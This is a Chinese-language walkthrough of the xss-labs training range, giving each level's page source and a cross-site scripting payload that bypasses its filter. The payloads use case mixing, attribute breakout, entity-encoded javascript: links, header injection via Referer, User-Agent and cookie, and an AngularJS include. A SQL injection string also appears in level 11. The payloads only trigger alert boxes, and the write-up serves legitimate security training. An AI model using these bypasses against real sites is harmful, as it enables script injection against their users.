xss-labs

xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs

level 1

payload:

1
http://xss/level1.php?name=<Script>alert(1)</Script>

level 2

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>


<input name=keyword value="<script>alert(1)</script>">


<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:25</h3></body>
</html>

这里变量出现在两处,我们直接利用第二处,做构造以及闭合


payload:

1
1"><ScRipt>alert(1)</ScRipt>

level 3

  • 看一下网页源代码和php代码,使用了htmlspecialchars方法
  • htmlspecialchars的解释 https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp 就是HTML为了防止特殊符号,如 “<”等,html当成标签
  • 这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~),这里我用的是click,直接点击一下就可以了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level4.php?keyword=try harder!";
    }
    </script>
    <title>欢迎来到level3</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level3</h1>
    <h2 align=center>没有找到和'onfocus=javascript:alert('xss') &gt; /相关的结果.</h2><center>
    <form action=level3.php method=GET>


    <input name=keyword value=''onfocus=javascript:alert('xss') &gt; /'>


    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level3.png></center>
    <h3 align=center>payload的长度:36</h3></body>
    </html>

payload:

1
' onclick ='javascript:alert(1)'//
  • 再次点击搜索框

    level 4

  • 同第三关(把单引号换成双引号)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level5.php?keyword=find a way out!";
    }
    </script>
    <title>欢迎来到level4</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level4</h1>
    <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
    <form action=level4.php method=GET>


    <input name=keyword value="scriptalert(1)/script">


    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level4.png></center>
    <h3 align=center>payload的长度:21</h3></body>
    </html>

payload:

1
" onclick ='javascript:alert(1)'//
  • 再次点击搜索框

    level 5

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level6.php?keyword=break it out!";
    }
    </script>
    <title>欢迎来到level5</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level5</h1>
    <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
    <form action=level5.php method=GET>


    <input name=keyword value="<scr_ipt>alert(1)</script>">


    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level5.png></center>
    <h3 align=center>payload的长度:26</h3></body>
    </html>
  • script过滤了,onclick也过滤了

payload:

1
"></input><a href='javascript:alert(1)'>aaa</a>//
  • 构造a标签

  • 点击aaa

    level 6

  • 同第二关

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level7.php?keyword=move up!";
    }
    </script>
    <title>欢迎来到level6</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level6</h1>
    <h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
    <form action=level6.php method=GET>


    <input name=keyword value="<scr_ipt>alert(1)</script>">


    <input type=submit name=submit value=搜索 />
    </form>
    </center><center><img src=level6.png></center>
    <h3 align=center>payload的长度:26</h3></body>
    </html>

payload:

1
1"><ScRipt>alert(1)</ScRipt>

level 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>


<input name=keyword value="<>alert(1)</>">


<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:13</h3></body>
</html>

1
1"><ScscriptRipt>alert(1)</ScscriptRipt>
  • 删去了script,将script变成scrscriptipt

    level 8

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level9.php?keyword=not bad!";
    }
    </script>
    <title>欢迎来到level8</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level8</h1>
    <center>
    <form action=level8.php method=GET>


    <input name=keyword value="&lt;script&gt;alert(1)&lt;/script&gt;">


    <input type=submit name=submit value=添加友情链接 />
    </form>


    </center><center><BR><a href="<scr_ipt>alert(1)</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>


    <h3 align=center>payload的长度:27</h3></body>
    </html>
    上边过滤了<>特殊符号,下边在script中间加了个下划线
    但是注意看下边代码再href里,这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过
    在线Unicode编码转换工具 http://www.jsons.cn/unicode

payload:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>


<input name=keyword value="&lt;script&gt;alert(1)&lt;/script&gt;">


<input type=submit name=submit value=添加友情链接 />
</form>


</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>


<h3 align=center>payload的长度:27</h3></body>
</html>

1
javascript:alert(1);http://www.baidu.com    这样不行,javascript:alert(1);要编码

payload:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;//http://www.baidu.com
  • 点击友情链接

    level 10

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level11.php?keyword=good job!";
    }
    </script>
    <title>欢迎来到level10</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level10</h1>
    <h2 align=center>没有找到和well done!相关的结果.</h2><center>
    <form id=search>


    <input name="t_link" value="" type="hidden">
    <input name="t_history" value="" type="hidden">
    <input name="t_sort" value="" type="hidden">



    </form>
    </center><center><img src=level10.png></center>
    <h3 align=center>payload的长度:10</h3></body>
    </html>

  • 这里有三个<input>标签的话,也就意味着是三个参数,看看哪一个标签能够被突破
  • 构造语句:把链接的keyword的值替换
    1
    ?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
  • 从页面响应来看,有一个<input>标签的状态可以被改变。这个标签就是名为t_sort<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。

payload:

1
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

level 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>


<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="' or updatexml(1,concat(0x7e,(database())),1) and '1'='1" type="hidden">


</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  • <input>这次有四个标签
  • 发现还是t_sort不过双引号和尖括号被过滤,这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
  • BP进行抓包可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上

payload:

1
referer:"type="text" onclick="alert('xss')
  • 点击出现的窗口

    level 12

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level13.php?keyword=good job!";
    }
    </script>
    <title>欢迎来到level12</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level12</h1>
    <h2 align=center>没有找到和good job!相关的结果.</h2><center>
    <form id=search>


    <input name="t_link" value="" type="hidden">
    <input name="t_history" value="" type="hidden">
    <input name="t_sort" value="" type="hidden">
    <input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">


    </form>
    </center><center><img src=level12.png></center>
    <h3 align=center>payload的长度:9</h3></body>
    </html>
  • 看到了t_ua这样一个标签,并且其中的value属性的值看起来像抓取数据包中User-Agent头的值

payload:

1
"type="text" onclick="alert('xss')
  • User-Agent的最后面加上payload

    level 13

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <!DOCTYPE html><!--STATUS OK--><html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level14.php";
    }
    </script>
    <title>欢迎来到level13</title>
    </head>
    <body>
    <h1 align=center>欢迎来到level13</h1>
    <h2 align=center>没有找到和good job!相关的结果.</h2><center>
    <form id=search>


    <input name="t_link" value="" type="hidden">
    <input name="t_history" value="" type="hidden">
    <input name="t_sort" value="" type="hidden">
    <input name="t_cook" value="" type="hidden">


    </form>
    </center><center><img src=level13.png></center>
    <h3 align=center>payload的长度:9</h3></body>
    </html>
  • 源码中的t_cook标签中出现了。
  • 尝试在cookie的值中进行构造语句

payload:

1
"type="text" onclick="alert('xss')
  • cookie的最后面加上payload

    level 14

    这题好像有问题

    level 15

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <html ng-app>
    <head>
    <meta charset="utf-8">
    <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    <script>
    window.alert = function()
    {
    confirm("完成的不错!");
    window.location.href="level16.php?keyword=test";
    }
    </script>
    <title>欢迎来到level15</title>
    </head>
    <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
    <p align=center><img src=level15.png></p>


    <body><span class="ng-include:1.gif"></span></body>
1
2
3
4
5
<span>标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include 是 angular js 中的东西,其作用相当于php的include函数。这里就
是将1.gif这个文件给包含进来。

尖括号被屏蔽
1
2
3
4
5
6
7
8
9
10
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。


特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
1
2
3
4
因为这里参数值算是一个地址,所以需要添加引号。但是level1.php不是一个php文件吗?

这里解释一下
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。
  • src地址无法访问,先将其换成国内可以访问的地址:
    1
    https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

payload:

1
?src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<center>test</center><center><img src=level16.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

  • 关键字script以及/空格都被编码成同样的空格字符实体了。
  • 尝试加个a标签,空格用回车编码代替,点击图片过关

payload:

1
<a%0D%0Aonclick='alert(1)'>

level 17

这一关中间是一个flash 插件,没法正常显示出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
  • embed src=url说明:embed可以用来插入各种媒体,格式可以是 Midi、Wav、AIFF、AU、MP3等等,

payload:

1
arg01=a&arg02= onmouseover=alert(1)

level 18

  • 这一关和上一关一样的,只是把flash 换成了图片而已,构造的语句都一样

payload:

1
arg01=a&arg02= onmouseover=alert(1)

level 19

主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索

别人的payload:

1
version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level 20

主要是因为现在 flash 技术全面停止使用,后面两关无法展示,感兴趣请自行搜索

别人的payload:

1
arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height